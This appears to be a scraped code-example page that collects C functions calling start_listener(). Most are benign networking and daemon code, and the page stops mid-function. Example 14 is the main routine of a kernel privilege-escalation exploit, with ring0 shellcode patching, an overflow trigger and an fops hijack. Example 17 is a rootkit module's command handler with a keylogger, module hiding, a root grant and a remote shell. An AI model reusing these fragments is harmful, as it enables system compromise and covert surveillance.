Ejemplo n.º 1
0
int main(int argc, char **argv)
{
    int cooked_baud = cook_baud(DefaultBaud);
    char const * serial_dev = DefaultSerialDevice;
    int low_port = -1, high_port = -1;
    int serial_fd, low_listener, high_listener;

    while ( --argc != 0 )
    {
        char *p = argv[argc];
        if ( *(p++) != '-' )
            usage();
        switch (*(p++))
        {
        case 'b':
            if ( (cooked_baud = cook_baud(atoi(p))) == 0 )
            {
                fprintf(stderr, "Bad baud rate\n");
                exit(1);
            }
            break;
        case 'd':
            serial_dev = p;
            break;
        case 'l':
            if ((low_port = atoi(p)) <= 0)
                usage();
            break;
        case 'h':
            if ((high_port = atoi(p)) <= 0)
                usage();
            break;
        default:
            usage();
        }
    }

    if (low_port == -1 && high_port == -1)
        low_port = DefaultLowPort;
    if (low_port == -1)
        low_port = high_port - 1;
    if (high_port == -1)
        high_port = low_port + 1;

    if ((serial_fd = open_serial(serial_dev, cooked_baud)) < 0 ||
        (low_listener = start_listener(low_port)) < 0 ||
        (high_listener = start_listener(high_port)) < 0)
        exit(1);

    main_loop(serial_fd, low_listener, high_listener);

    return 0;
}
Ejemplo n.º 2
0
int main( int argc, char** argv ) {
    if ( argc < 4 ) {
        fprintf( stderr, "must supply a name, server address and port\n" ) ;
        return 1 ;
    }
    
    uint16_t port ;
    if( ! parse_port_num( argv[3], & port ) ) {
        fprintf( stderr, "Must supply valid port number\n" ) ;
        return 2 ;
    }
    
    /* open a connection to the server */
    int fd = connect_client( argv[2], port ) ;
	SERVER_FD = fd;
    if ( fd == 0 ) {
        perror( "Unable to open client" ) ;
        return 3 ;
    }

	/* open a listening socket for peers to connect to */
	int peer_sock = peer_socket();

    client_t cli ;
    cli.fd = fd ;
	cli.peer_fd = peer_sock;
	start_listener(peer_sock);
    cli.name = argv[1] ;
	strncpy(SERVER_NAME, cli.name, 1024);
	signal(SIGINT, sigint_handler);
    run_client( & cli ) ;

    return 0 ;
}
Ejemplo n.º 3
0
int main(int argc, char **argv)
{
	if(argc>1)
	{
		int i;
		for(i=1;i<argc;i++)
		{
			if(strcmp("-p",*(argv+i))==0)	//	push updates
				PUSH_UPDATES = 1;
			else
			{
				printf("Unrecognized argument.\n");
				printf("Usage ---------------------->\n"
					"-p\tActivate Push Updates\n");
				exit(EXIT_FAILURE);
			}
		}
	}
	start_listener(); // handles incoming messages. see listener.c listener.h for more info.
	start_sender(); // handles outgoing messages. see sender.c, sender.h "" "" ""

	clients_cache = new_cache(-1);	
	for(;;)
	{

	}
	return 0;
}
Ejemplo n.º 4
0
mysocket::mysocket(int id, int PortNo, char *IPAddress, char *argbuffer, int buffersize, botinterface *i)
{
	bool result;
	this->id = id;
	this->i = i;
	connected = false;
	this->buffersize = buffersize;
	if (!argbuffer)
	{
		use_local_buffer = true;
		buffer = NULL;
	}
	else
	{
		use_local_buffer = false;
		buffer = argbuffer;
	}

	result = open(PortNo, IPAddress);

	if (result)
	{
		connected = true;
		Sleep(10);
		start_listener();
	}
}
Ejemplo n.º 5
0
Archivo: p3.c Proyecto: mtzguido/epoll
int main () {
	int epfd = epoll_create(1);
	int lsock = start_listener(9000);
	struct epoll_event ev;
	struct fdinfo *fdinfo;
	int ret;
	int nthr = sysconf(_SC_NPROCESSORS_ONLN);
	long i;
	pthread_t *ths;

	ths = malloc(nthr * sizeof ths[1]);

	fdinfo = malloc(sizeof (struct fdinfo));
	fdinfo->type = LSOCK;
	fdinfo->fd = lsock;

	ev.data.ptr = fdinfo;
	ev.events = EPOLLIN;

	ret = epoll_ctl(epfd, EPOLL_CTL_ADD, lsock, &ev);
	if (ret < 0)
		die("epoll_ctl.1");

	for (i = 0; i<nthr; i++)
		pthread_create(&ths[i], NULL, service_wrap, &epfd);

	for (i = 0; i<nthr; i++)
		pthread_join(ths[i], NULL);

	close(epfd);

	return 0;
}
Ejemplo n.º 6
0
void start_server()
{
	//open_lua();
    //start_logger();
	start_workers();
    start_listener(g_self_ip, g_self_port);
}
Ejemplo n.º 7
0
void listener_dispatch(pn_handler_t *h, pn_event_t *event, pn_event_type_t type)
{
  global_context_t *gc = global_context(h);
  if (type == PN_REACTOR_QUIESCED)
    gc->quiesce_count++;
  else
    gc->quiesce_count = 0;

  switch (type) {
  case PN_CONNECTION_INIT:
    {
      pn_connection_t *connection = pn_event_connection(event);

      // New incoming connection on listener socket.  Give each a separate handler.
      pn_handler_t *ch = connection_handler(gc);
      pn_handshaker_t *handshaker = pn_handshaker();
      pn_handler_add(ch, handshaker);
      pn_decref(handshaker);
      pn_record_t *record = pn_connection_attachments(connection);
      pn_record_set_handler(record, ch);
      pn_decref(ch);
    }
    break;
  case PN_REACTOR_QUIESCED:
    {
      // Two quiesce in a row means we have been idle for a timout period
      if (gc->opts->timeout != -1 && gc->quiesce_count > 1)
        global_shutdown(gc);
    }
    break;
  case PN_REACTOR_INIT:
    {
      pn_reactor_t *reactor = pn_event_reactor(event);
      start_listener(gc, reactor);

      // hack to let test scripts know when the receivers are ready (so
      // that the senders may be started)
      if (gc->opts->ready_text) {
        fprintf(stdout, "%s\n", gc->opts->ready_text);
        fflush(stdout);
      }
      if (gc->opts->timeout != -1)
        pn_reactor_set_timeout(pn_event_reactor(event), gc->opts->timeout);
    }
    break;
  case PN_REACTOR_FINAL:
    {
      if (gc->received == 0) statistics_start(gc->stats);
      statistics_report(gc->stats, gc->sent, gc->received);
    }
    break;
  default:
    break;
  }
}
Ejemplo n.º 8
0
int main (int argc, const char * argv[]) {
	http_connection connection;
	int port = 80;
	
	connection.context = 0;
	
	start_listener(port);
	start_event_queue();
	
	for(int i = 0; i < 1000; i++)
		process_http(&connection);
	
    return 0;
}
Ejemplo n.º 9
0
void 
listener_dispatch ( pn_handler_t *h, pn_event_t * event, pn_event_type_t type )
{
  global_context_t * gc = global_context ( h );
  if ( type == PN_REACTOR_QUIESCED )
    gc->quiesce_count++;
  else
    gc->quiesce_count = 0;

  switch (type) 
  {
    case PN_CONNECTION_INIT:
      {
        pn_connection_t * connection = pn_event_connection ( event );

        // New incoming connection on listener socket.  Give each a separate handler.
        pn_handler_t *ch = connection_handler(gc);
        pn_handshaker_t *handshaker = pn_handshaker();
        pn_handler_add(ch, handshaker);
        pn_decref(handshaker);
        pn_record_t *record = pn_connection_attachments(connection);
        pn_record_set_handler(record, ch);
        pn_decref(ch);
      }
      break;

    case PN_REACTOR_INIT:
      {
        pn_reactor_t *reactor = pn_event_reactor(event);
        start_listener(gc, reactor);
      }
      break;

    case PN_REACTOR_FINAL:
      {
        if (gc->received == 0) 
          statistics_start(gc->stats);

        //statistics_report(gc->stats, gc->sent, gc->received);
        fclose ( gc->report_fp );

        if ( gc->received > 0 )
          fprintf ( stderr, "reactor-recv received %d messages.\n", gc->received );
      }
      break;

    default:
      break;
  }
}
Ejemplo n.º 10
0
int main(int argc, char *argv[])
{
	struct sigaction sa;

	g_type_init();

	notify_info.argv = argv;

	init_preferences(argc, argv);

	/* Fork when wanted */
	if (prefs.fork)
		daemonize();

	log_init();

	g_log_set_default_handler(notify_log, NULL);

	loop = g_main_loop_new(NULL, FALSE);

	g_message(PACKAGE_STRING " started");

	/* Fire up listening sockets */
	if (!start_listener()) {
		cleanup();
		exit(EXIT_FAILURE);
	}

	/* Connect to IRC */
	irc_connect(NULL);

	/* Signal handler */
	ns_open_signal_pipe();
	sa.sa_handler = ns_sighandler;
	sigfillset(&sa.sa_mask);
	sa.sa_flags = SA_RESTART;
	sigaction(SIGINT, &sa, NULL);
	sigaction(SIGTERM, &sa, NULL);
	sigaction(SIGQUIT, &sa, NULL);
	sigaction(SIGHUP, &sa, NULL);

	g_main_loop_run(loop);

	cleanup();
}
Ejemplo n.º 11
0
Archivo: p2.c Proyecto: mtzguido/epoll
int main () {
	int epfd = epoll_create(1);
	int lsock = start_listener(9000);
	struct epoll_event ev;
	struct fdinfo *fdinfo;
	int ret;

	fdinfo = malloc(sizeof (struct fdinfo));
	fdinfo->type = LSOCK;
	fdinfo->fd = lsock;

	ev.data.ptr = fdinfo;
	ev.events = EPOLLIN;

	ret = epoll_ctl(epfd, EPOLL_CTL_ADD, lsock, &ev);
	if (ret < 0)
		die("epoll_ctl.1");

	service(epfd);

	close(epfd);

	return 0;
}
Ejemplo n.º 12
0
int main(int argc, char **argv)
{
	pthread_mutex_init(&heart,NULL); // protects the beat counter
	pthread_mutex_init(&con,NULL); // protects the default server connection value from badly-timed updates
	pthread_mutex_init(&queue,NULL); // protects the cache from poorly-timed access
	cache = new_cache(-1); // creates query cache with default size (when arg is < 0, MAX_SIZE used. See cache.h
	clients = new_cache(100); // creates a cache of connected clients
	pending_queries = new_cache(100);	 // creates a cache of pending updates. When client requests a value that
	// must be retrieved from the database, the client's callback information is stored here until the DB query
	// is completed.
	
	/* Read command-line arguments */
	if(argc>1)
	{
		int x;
		for(x=1;x<argc;x++)
		{
			// database addr
			if(strcmp("-d",*(argv + x))==0)
			{
				if(strlen( *(argv + x + 1) )>0)
				{
					strcpy(database_addr,*(argv + x + 1));
				}
				else
				{
					usage();
				}
			}
			else if(strcmp("-P",*(argv + x))==0)
			{
				pthread_t pull_thread;
				pthread_create(&pull_thread,NULL,(void *)pull_updater,(void *)cache);
			}
			else if(strcmp("-C",*(argv + x))==0)
			{
				pthread_t updater;
				pthread_create(&updater,NULL,(void *)caco,NULL);
			}
			else if(strcmp("-n",*(argv + x))==0)
			{
				strcpy(neighbor_addr,*(argv + x + 1));
			}
			else if(strcmp("-S",*(argv + x))==0)
			{
				server_id = atoi(*(argv + x + 1));
			}
		}
	}
	else
	{
		usage();
	}
	start_listener();
	start_sender();	

	// wait for all threads to come online
	sleep(2);
	while(server_id==0);

	/* Begin the heartbeat between this host and its neighbor */
	char h_msg[CONTENT_MAX];
	sprintf(h_msg,"%s,%d,NULL",hea,server_id);
	while(sender_queue==NULL);
	message_host(neighbor_addr,h_msg);
	/* End Heartbeat. Should be cycling now */
	for(;;)
	{
		// neighbor recovered!
		if(beat_count == 0 && solo == 1)
		{
			// if we took over the Caco process for another server, shut it down now
			if(!CACO_SERVER)
			{
				printf("\n\n** ATTENTION! ***************************\n");
				printf("****** CANCELING CACO UPDATER ************\n");
				printf("******************************************\n\n");
		
				pthread_cancel(caco_thread);
			}
			solo = 0;
			printf("\n\n** ATTENTION! ****************************\n");
			printf("** NEIGHBOR BACK ONLINE *******************\n");
			printf("*******************************************\n\n");

			struct cache_entry *client;
			int x;

			/* Inform all adopted clients that the other server is back online */
			for(x=0;x<clients->length;x++)
			{
				client = get_index(x,clients);
				// only message clients of the other front-end server
				if(client->server_id==server_id)
					continue;
				char r_msg[CONTENT_MAX];
				sprintf(r_msg,"%s,%s,NULL",rea,neighbor_addr);

				message_host(client->value,r_msg);	
			}
		}
		pthread_mutex_lock(&heart);
		beat_count++; // we'll wait until HEARTBEAT_DELAY has elapsed before we declare the other
		// server dead.

		// assume we've lost the neighbor
		if(beat_count==HEARTBEAT_DELAY)
		{
			// If we need to take over the Caco process for the other server, start it now.
			if(!CACO_SERVER)
			{
				printf("\n\n** NOTICE *************************\n");
				printf("** taking over caco updater *******\n");
				printf("***********************************\n\n");
				pthread_create(&caco_thread,NULL,caco,NULL);
			}
		
			// sets the state-var solo, indicating that we are running alone
			solo = 1;
			printf("\n\n** NOTICE *************************.\n");
			printf("** LOST CONTACT WITH NEIGHBOR SERVER **\n");
			printf("** ASSUMING RESPONSIBILITY ************\n");
			printf("***************************************\n\n");

			struct cache_entry *client;
			int x;
			/* Adopt the clients from the other server. Notify them of the changes */
			for(x=0;x<clients->length;x++)
			{
				client = get_index(x,clients);
				// only message clients of the other front-end server
				if(client->server_id==server_id)
					continue;
				char r_msg[CONTENT_MAX];
				char addr[CONTENT_MAX];
				get_local_addr(addr);
				sprintf(r_msg,"%s,%s,NULL",rea,addr);

				message_host(client->value,r_msg);	
			}
		}
		pthread_mutex_unlock(&heart);
		sleep(1);
	}
	return 0;
}
Ejemplo n.º 13
0
int32_t main(int32_t argc, char *argv[])
{
	fix_stacksize();
		
	run_tests();
	int32_t i, j;
	prog_name = argv[0];
	struct timespec start_ts;
	cs_gettime(&start_ts); // Initialize clock_type

	if(pthread_key_create(&getclient, NULL))
	{
		fprintf(stderr, "Could not create getclient, exiting...");
		exit(1);
	}

	void (*mod_def[])(struct s_module *) =
	{
#ifdef MODULE_MONITOR
		module_monitor,
#endif
#ifdef MODULE_CAMD33
		module_camd33,
#endif
#ifdef MODULE_CAMD35
		module_camd35,
#endif
#ifdef MODULE_CAMD35_TCP
		module_camd35_tcp,
#endif
#ifdef MODULE_NEWCAMD
		module_newcamd,
#endif
#ifdef MODULE_CCCAM
		module_cccam,
#endif
#ifdef MODULE_PANDORA
		module_pandora,
#endif
#ifdef MODULE_GHTTP
		module_ghttp,
#endif
#ifdef CS_CACHEEX
		module_csp,
#endif
#ifdef MODULE_GBOX
		module_gbox,
#endif
#ifdef MODULE_CONSTCW
		module_constcw,
#endif
#ifdef MODULE_RADEGAST
		module_radegast,
#endif
#ifdef MODULE_SCAM
		module_scam,
#endif
#ifdef MODULE_SERIAL
		module_serial,
#endif
#ifdef HAVE_DVBAPI
		module_dvbapi,
#endif
		0
	};
	
	find_conf_dir();

	parse_cmdline_params(argc, argv);

	if(bg && do_daemon(1, 0))
	{
		printf("Error starting in background (errno=%d: %s)", errno, strerror(errno));
		cs_exit(1);
	}

	get_random_bytes_init();

#ifdef WEBIF
	if(cs_restart_mode)
		{ restart_daemon(); }
#endif

	memset(&cfg, 0, sizeof(struct s_config));
	cfg.max_pending = max_pending;

	if(cs_confdir[strlen(cs_confdir) - 1] != '/') { strcat(cs_confdir, "/"); }
	init_signal_pre(); // because log could cause SIGPIPE errors, init a signal handler first
	init_first_client();
	cs_lock_create(__func__, &system_lock, "system_lock", 5000);
	cs_lock_create(__func__, &config_lock, "config_lock", 10000);
	cs_lock_create(__func__, &gethostbyname_lock, "gethostbyname_lock", 10000);
	cs_lock_create(__func__, &clientlist_lock, "clientlist_lock", 5000);
	cs_lock_create(__func__, &readerlist_lock, "readerlist_lock", 5000);
	cs_lock_create(__func__, &fakeuser_lock, "fakeuser_lock", 5000);
	cs_lock_create(__func__, &ecmcache_lock, "ecmcache_lock", 5000);
	cs_lock_create(__func__, &ecm_pushed_deleted_lock, "ecm_pushed_deleted_lock", 5000);
	cs_lock_create(__func__, &readdir_lock, "readdir_lock", 5000);
	cs_lock_create(__func__, &cwcycle_lock, "cwcycle_lock", 5000);
	init_cache();
	cacheex_init_hitcache();
	init_config();
	cs_init_log();
	init_machine_info();
	init_check();
	if(!oscam_pidfile && cfg.pidfile)
		{ oscam_pidfile = cfg.pidfile; }
	if(!oscam_pidfile)
	{
		oscam_pidfile = get_tmp_dir_filename(default_pidfile, sizeof(default_pidfile), "oscam.pid");
	}
	if(oscam_pidfile)
		{ pidfile_create(oscam_pidfile); }
	cs_init_statistics();
	coolapi_open_all();
	init_stat();
	ssl_init();

	// These initializations *MUST* be called after init_config()
	// because modules depend on config values.
	for(i = 0; mod_def[i]; i++)
	{
		struct s_module *module = &modules[i];
		mod_def[i](module);
	}

	init_sidtab();
	init_readerdb();
	cfg.account = init_userdb();
	init_signal();
	init_provid();
	init_srvid();
	init_tierid();
	init_fakecws();

	start_garbage_collector(gbdb);

	cacheex_init();

	init_len4caid();
	init_irdeto_guess_tab();

	write_versionfile(false);

	led_init();
	led_status_default();

	azbox_init();

	mca_init();

	global_whitelist_read();
	ratelimit_read();

	for(i = 0; i < CS_MAX_MOD; i++)
	{
		struct s_module *module = &modules[i];
		if((module->type & MOD_CONN_NET))
		{
			for(j = 0; j < module->ptab.nports; j++)
			{
				start_listener(module, &module->ptab.ports[j]);
			}
		}
	}

	//set time for server to now to avoid 0 in monitor/webif
	first_client->last = time((time_t *)0);

	webif_init();

	start_thread("reader check", (void *) &reader_check, NULL, NULL, 1, 1);
	cw_process_thread_start();
	checkcache_process_thread_start();

	lcd_thread_start();

	do_report_emm_support();

	init_cardreader();

	cs_waitforcardinit();
	
	emm_load_cache();
	load_emmstat_from_file();

	led_status_starting();

	ac_init();

	start_thread("card poll", (void *) &card_poll, NULL, NULL, 1, 1);

	for(i = 0; i < CS_MAX_MOD; i++)
	{
		struct s_module *module = &modules[i];
		if((module->type & MOD_CONN_SERIAL) && module->s_handler)
			{ module->s_handler(NULL, NULL, i); }
	}

	// main loop function
	process_clients();

	SAFE_COND_SIGNAL(&card_poll_sleep_cond); // Stop card_poll thread
	cw_process_thread_wakeup(); // Stop cw_process thread
	SAFE_COND_SIGNAL(&reader_check_sleep_cond); // Stop reader_check thread

	// Cleanup
#ifdef MODULE_GBOX	
	stop_sms_sender();
#endif
	webif_close();
	azbox_close();
	coolapi_close_all();
	mca_close();

	led_status_stopping();
	led_stop();
	lcd_thread_stop();

	remove_versionfile();

	stat_finish();
	dvbapi_stop_all_descrambling();
	dvbapi_save_channel_cache();
	emm_save_cache();
	save_emmstat_to_file();
	
	cccam_done_share();
	gbox_send_good_night(); 

	kill_all_clients();
	kill_all_readers();
	for(i = 0; i < CS_MAX_MOD; i++)
	{
		struct s_module *module = &modules[i];
		if((module->type & MOD_CONN_NET))
		{
			for(j = 0; j < module->ptab.nports; j++)
			{
				struct s_port *port = &module->ptab.ports[j];
				if(port->fd)
				{
					shutdown(port->fd, SHUT_RDWR);
					close(port->fd);
					port->fd = 0;
				}
			}
		}
	}

	if(oscam_pidfile)
		{ unlink(oscam_pidfile); }

	// sleep a bit, so hopefully all threads are stopped when we continue
	cs_sleepms(200);

	free_cache();
	cacheex_free_hitcache();
	webif_tpls_free();
	init_free_userdb(cfg.account);
	cfg.account = NULL;
	init_free_sidtab();
	free_readerdb();
	free_irdeto_guess_tab();
	config_free();
	ssl_done();

	detect_valgrind();
	if (!running_under_valgrind)
		cs_log("cardserver down");
	else
		cs_log("running under valgrind, waiting 5 seconds before stopping cardserver");
	log_free();

	if (running_under_valgrind) sleep(5); // HACK: Wait a bit for things to settle

	stop_garbage_collector();

	NULLFREE(first_client->account);
	NULLFREE(first_client);
	free(stb_boxtype);
	free(stb_boxname);

	// This prevents the compiler from removing config_mak from the final binary
	syslog_ident = config_mak;

	return exit_oscam;
}
Ejemplo n.º 14
0
int main(int argc, char *argv[])
{
    int peerx, peery,i;
    __u64 *patch;

    srvport = get_port();

    uid=getuid();
    gid=getgid();
    fops=get_fops_addr() + 64;
    if(!fops)
    {
        __msg("[!!] Unable to locate symbols...\n");
        return 1;
    }

    __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
    patch = (__u64*)(ring0 + CJUMP_OFF);
    *patch = (__u64)ring0c;

    __msg_f("[**] Using port: %d\n", srvport);
    __msg("[**] Getting slab info...\n");
    kmalloc_fd = get_kmalloc_fd();
    if(!get_total_object(kmalloc_fd))
        __fatal("[!!] Only SLUB allocator supported\n");


    __msg("[**] Mapping Segments...\n");
    __msg("[**] Trying mapping safe page...");
    if(do_mmap(STRUCT_PAGE, 1) < 0)
    {
        __msg("Page Protection Present (Unable to Map Safe Page)\n");
        __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
        if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
            __fatal_errno("mmap");

        cankill=0;  /* dont kill child owning unsafe fds.. */
        highpage=1; /* ssnmap in higher pages */
        zstream=STREAM_ZERO_ALT;
    }
    else
        __msg("Done\n");

    __msg("[**] Mapping Code Page... ");
    if(do_mmap(CODE_PAGE, 1) < 0)
        __fatal_errno("mmap");
    else
        __msg("Done\n");

    memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

    __msg("[**] Binding on CPU 0\n");
    bindcpu();

    __msg("[**] Start Server Thread..\n");
    child = start_listener();
    sleep(3);

    do_socks(&server_s, zstream);
    for(i=0; i<7; i++)
    {
        close(g_array[8-1-i]);
    }
    clr(1);
    alloc_tioclinux(); // trigger overflow
    peerx = create_and_init();
    connect_peer(peerx, &server_s);
    peery = create_and_init();
    connect_peer(peery, &server_s);

    sleep(1);

    unsafe_fd[0] = peerx;
    unsafe_fd[1] = g_array[8];
    unsafe_fd[2] = peery;
    unsafe_fd[3] = g_array[9];

    __msg("\n");
    __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
    __msg_f("[**] Unsafe  fd: ( ");

    for(i=0; i<4; i++)
        __msg_f("%d ", unsafe_fd[i]);
    __msg(")\n");


    __msg("[**] Hijacking fops...\n");
    overwrite_fops(fd_zmap_srv, &caddr, peery);

    /* if u get here.. something nasty happens...may crash..*/
    __free_stuff();
    __msg("[**] Exploit failed.. freezing process\n");
    kill(getpid(), SIGSTOP);
    return 0;
}
Ejemplo n.º 15
0
int daemonize_trqauthd(char *server_ip, int server_port, void *(*process_meth)(void *))
  {
  int gid;
  pid_t pid;
  int   rc;
  char  error_buf[1024];

  umask(022);

  gid = getgid();
  /* secure supplemental groups */
  if(setgroups(1, (gid_t *)&gid) != 0)
    {
    fprintf(stderr, "Unable to drop secondary groups. Some MAC framework is active?\n");
    snprintf(error_buf, sizeof(error_buf),
                     "setgroups(group = %lu) failed: %s\n",
                     (unsigned long)gid, strerror(errno));
    fprintf(stderr, "%s\n", error_buf);
    return(1);
    }

  if (getenv("PBSDEBUG") != NULL)
    debug_mode = TRUE;
  if (debug_mode == FALSE)
    {
    pid = fork();
    if(pid > 0)
      {
      /* parent. We are done */
      return(0);
      }
    else if (pid < 0)
      {
      /* something went wrong */
      fprintf(stderr, "fork failed. errno = %d\n", errno);
      return(PBSE_RMSYSTEM);
      }
    else
      {
      fprintf(stderr, "trqauthd daemonized - port %d\n", server_port);
      /* If I made it here I am the child */
      fclose(stdin);
      fclose(stdout);
      fclose(stderr);
      /* We closed 0 (stdin), 1 (stdout), and 2 (stderr). fopen should give us
         0, 1 and 2 in that order. this is a UNIX practice */
      (void)fopen("/dev/null", "r");
      (void)fopen("/dev/null", "r");
      (void)fopen("/dev/null", "r");
      }
    }
  else
    {
    fprintf(stderr, "trqauthd port: %d\n", server_port);
    }

    /* start the listener */
    rc = start_listener(server_ip, server_port, process_meth);
    if(rc != PBSE_NONE)
      {
      openlog("daemonize_trqauthd", LOG_PID | LOG_NOWAIT, LOG_DAEMON);
      syslog(LOG_ALERT, "trqauthd could not start: %d\n", rc);
      exit(-1);
      }

    exit(0);
  }
Ejemplo n.º 16
0
static int tool_init(int argc, char *argv[]) {
    int exit_status = ORTE_SUCCESS, ret;
    char * tmp_env_var = NULL;

    listener_started = false;

    /*
     * Make sure to init util before parse_args
     * to ensure installdirs is setup properly
     * before calling mca_base_open();
     */
    if( ORTE_SUCCESS != (ret = opal_init_util(&argc, &argv)) ) {
        return ret;
    }

    /*
     * Parse Command Line Arguments
     */
    if (ORTE_SUCCESS != (ret = parse_args(argc, argv))) {
        return ret;
    }

    /* Disable the migrate notification routine for this
     * tool. As we will never need to migrate this tool.
     * Note: This must happen before opal_init().
     */
    opal_cr_set_enabled(false);

    /* Select the none component, since we don't actually use a migrateer */
    (void) mca_base_var_env_name("crs", &tmp_env_var);
    opal_setenv(tmp_env_var,
                "none",
                true, &environ);
    free(tmp_env_var);
    tmp_env_var = NULL;

    /* we are never allowed to operate as a distributed tool,
     * so insist on the ess/tool component */
    opal_setenv("OMPI_MCA_ess", "tool", true, &environ);

    /***************************
     * We need all of OPAL and the TOOLS portion of ORTE - this
     * sets us up so we can talk to any HNP over the wire
     ***************************/
    if (ORTE_SUCCESS != (ret = orte_init(&argc, &argv, ORTE_PROC_TOOL))) {
        exit_status = ret;
        goto cleanup;
    }

    /*
     * Setup ORTE Output handle from the verbose argument
     */
    if( orte_migrate_globals.verbose ) {
        orte_migrate_globals.output = opal_output_open(NULL);
        opal_output_set_verbosity(orte_migrate_globals.output, orte_migrate_globals.verbose_level);
    } else {
        orte_migrate_globals.output = 0; /* Default=STDERR */
    }

    /*
     * Start the listener
     */
    if( ORTE_SUCCESS != (ret = start_listener() ) ) {
        exit_status = ret;
    }

 cleanup:
    return exit_status;
}
Ejemplo n.º 17
0
//write to device (take commands)
static ssize_t write_dev(struct file *filp, const char *buff,
		 			size_t len, loff_t *posPtr){
	const char *cmdPtr;
	const char *cmdEndPtr;
	int i;
	char c;
	cmdPtr = buff;
	cmdEndPtr = buff + len - 1;
	i = 0;
	//This section handles our commands.
	if(len < MAX_CMD_LENGTH){
		memset(commands, 0, sizeof(commands));
		while(cmdPtr != cmdEndPtr){
			c = *cmdPtr;
			commands[i] = c;
			cmdPtr++;
			i++;
		}
        if(debug == 1)
    		printk(KERN_ALERT "maK_it: command: %s \n",commands);
		if(strcmp(commands, "debug") == 0){
			if(debug == 0){ debug = 1;}
			else{ debug = 0;}
		}
		if(strcmp(commands,"keyLogOn") == 0){
			keyLogOn = 1;
			if(debug == 1)
				printk(KERN_ALERT "maK_it: Key logger on!\n");
        	}
		if(strcmp(commands, "keyLogOff") == 0){
			keyLogOn = 0;
			if(debug == 1)
				printk(KERN_ALERT "maK_it: Key logger off!\n");
		}
		if(strcmp(commands, "modHide") == 0){
			hide_module();
			if(debug == 1)
				printk(KERN_ALERT "maK_it: Module Hidden!\n");
		}
		if(strcmp(commands, "modReveal") == 0){
			reveal_module();
			if(debug == 1)
				printk(KERN_ALERT "maK_it: Module revealed!\n");
		}
		if(strcmp(commands, "rootMe") == 0){
			root_me();
			if(debug == 1)
				printk(KERN_ALERT "maK_it: Given r00t!\n");
		}
		if(strcmp(commands, "shellUp") == 0){
			if(shellUp == 0){
				start_listener();
				shellUp = 1;
			}
			if(debug == 1)
				printk(KERN_ALERT "maK_it: Remote Shell listener started!\n");
		}
		if(strcmp(commands, "shellDown") == 0){
			if(shellUp == 1){
				kill_listener();
				shellUp = 0;
			}
			if(debug == 1)
				printk(KERN_ALERT "maK_it: Remote Shell listener down!\n");
		}
		if(strcmp(commands, "command") == 0)
			printk(KERN_EMERG "commands: debug, keyLogOn/Off, modHide/Reveal, rootMe, shellUp/Down\n");
	}
	else{
		if(debug == 1)
			printk(KERN_ALERT "maK_it: Command was too long.\n");
	}
	return -EINVAL;
}
Ejemplo n.º 18
0
static int ckpt_init(int argc, char *argv[]) {
    int exit_status = ORTE_SUCCESS, ret;
    char * tmp_env_var = NULL;

    listener_started = false;

    /*
     * Make sure to init util before parse_args
     * to ensure installdirs is setup properly
     * before calling mca_base_open();
     */
    if( ORTE_SUCCESS != (ret = opal_init_util()) ) {
        return ret;
    }

    /*
     * Parse Command Line Arguments
     */
    if (ORTE_SUCCESS != (ret = parse_args(argc, argv))) {
        return ret;
    }

    /* Disable the checkpoint notification routine for this
     * tool. As we will never need to checkpoint this tool.
     * Note: This must happen before opal_init().
     */
    opal_cr_set_enabled(false);

    /* Select the none component, since we don't actually use a checkpointer */
    tmp_env_var = mca_base_param_env_var("crs");
    opal_setenv(tmp_env_var,
                "none",
                true, &environ);
    free(tmp_env_var);
    tmp_env_var = NULL;
    
    /***************************
     * We need all of OPAL and the TOOLS portion of ORTE - this
     * sets us up so we can talk to any HNP over the wire
     ***************************/
    if (ORTE_SUCCESS != (ret = orte_init(ORTE_TOOL))) {
        exit_status = ret;
        goto cleanup;
    }

    /*
     * Setup ORTE Output handle from the verbose argument
     */
    if( orte_checkpoint_globals.verbose ) {
        orte_checkpoint_globals.output = opal_output_open(NULL);
        opal_output_set_verbosity(orte_checkpoint_globals.output, 10);
    } else {
        orte_checkpoint_globals.output = 0; /* Default=STDERR */
    }

    /*
     * Start the listener
     */
    if( ORTE_SUCCESS != (ret = start_listener() ) ) {
        exit_status = ret;
    }

 cleanup:
    return exit_status;
}
Ejemplo n.º 19
0
int daemonize_trqauthd(const char *server_ip, int server_port, void *(*process_meth)(void *))
  {
  int gid;
  pid_t pid;
  int   rc;
  char  error_buf[MAX_BUF];
  char msg_trqauthddown[MAX_BUF];
  char path_log[MAXPATHLEN + 1];
  char *log_file=NULL;
  int eventclass = PBS_EVENTCLASS_TRQAUTHD;
  const char *path_home = PBS_SERVER_HOME;

  umask(022);

  gid = getgid();
  /* secure supplemental groups */
  if(setgroups(1, (gid_t *)&gid) != 0)
    {
    fprintf(stderr, "Unable to drop secondary groups. Some MAC framework is active?\n");
    snprintf(error_buf, sizeof(error_buf),
                     "setgroups(group = %lu) failed: %s\n",
                     (unsigned long)gid, strerror(errno));
    fprintf(stderr, "%s\n", error_buf);
    return(1);
    }

  if (getenv("PBSDEBUG") != NULL)
    debug_mode = TRUE;
  if (debug_mode == FALSE)
    {
    pid = fork();
    if(pid > 0)
      {
      /* parent. We are done */
      return(0);
      }
    else if (pid < 0)
      {
      /* something went wrong */
      fprintf(stderr, "fork failed. errno = %d\n", errno);
      return(PBSE_RMSYSTEM);
      }
    else
      {
      fprintf(stderr, "trqauthd daemonized - port %d\n", server_port);
      /* If I made it here I am the child */
      fclose(stdin);
      fclose(stdout);
      fclose(stderr);
      /* We closed 0 (stdin), 1 (stdout), and 2 (stderr). fopen should give us
         0, 1 and 2 in that order. this is a UNIX practice */
      if (fopen("/dev/null", "r") == NULL)
        perror(__func__);

      if (fopen("/dev/null", "r") == NULL)
        perror(__func__);

      if (fopen("/dev/null", "r") == NULL)
        perror(__func__);
      }
    }
  else
    {
    fprintf(stderr, "trqauthd port: %d\n", server_port);
    }

    log_init(NULL, NULL);
    log_get_set_eventclass(&eventclass, SETV);
    initialize_globals_for_log();
    sprintf(path_log, "%s/%s", path_home, TRQ_LOGFILES);
    if ((mkdir(path_log, 0755) == -1) && (errno != EEXIST))
      {
         openlog("daemonize_trqauthd", LOG_PID | LOG_NOWAIT, LOG_DAEMON);
         syslog(LOG_ALERT, "Failed to create client_logs directory: errno: %d", errno);
         log_err(errno,"daemonize_trqauthd", "Failed to create client_logs directory");
         closelog();
      }
    pthread_mutex_lock(log_mutex);
    log_open(log_file, path_log);
